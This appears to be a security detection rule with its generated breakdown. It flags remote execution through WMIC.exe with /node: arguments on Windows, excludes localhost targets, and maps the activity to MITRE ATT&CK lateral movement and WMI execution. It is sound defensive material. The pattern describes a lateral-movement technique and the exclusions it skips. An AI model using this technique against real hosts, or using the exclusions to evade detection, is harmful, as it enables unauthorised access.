query = '''
process where host.os.type == "windows" and event.type == "start" and
process.name : "WMIC.exe" and
process.args : "*node:*" and
process.args : ("call", "set", "get") and
not process.args : ("*/node:localhost*", "*/node:\"127.0.0.1\"*", "/node:127.0.0.1")
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1021"
name = "Remote Services"
reference = "https://attack.mitre.org/techniques/T1021/"
[[rule.threat.technique.subtechnique]]
id = "T1021.003"
name = "Distributed Component Object Model"
reference = "https://attack.mitre.org/techniques/T1021/003/"
[[rule.threat.technique.subtechnique]]
id = "T1021.006"
name = "Windows Remote Management"
reference = "https://attack.mitre.org/techniques/T1021/006/"
[rule.threat.tactic]
id = "TA0008"
name = "Lateral Movement"
reference = "https://attack.mitre.org/tactics/TA0008/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1047"
name = "Windows Management Instrumentation"
reference = "https://attack.mitre.org/techniques/T1047/"
[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
Stages and Predicates
Stage 1: process
process where host.os.type == "windows" and event.type == "start" and
process.name : "WMIC.exe" and
process.args : "*node:*" and
process.args : ("call", "set", "get") and
not process.args : ("*/node:localhost*", "*/node:\"127.0.0.1\"*", "/node:127.0.0.1")
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.type | eq |
| field:"event.type" kind:eq value:"start" |
process.args | wildcard |
| field:"process.args" kind:wildcard |
process.name | wildcard |
| field:"process_basename" kind:wildcard value:"WMIC.exe" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.args | wildcard | */node:localhost*, */node:"127.0.0.1"*, /node:127.0.0.1 | excludes:process.args |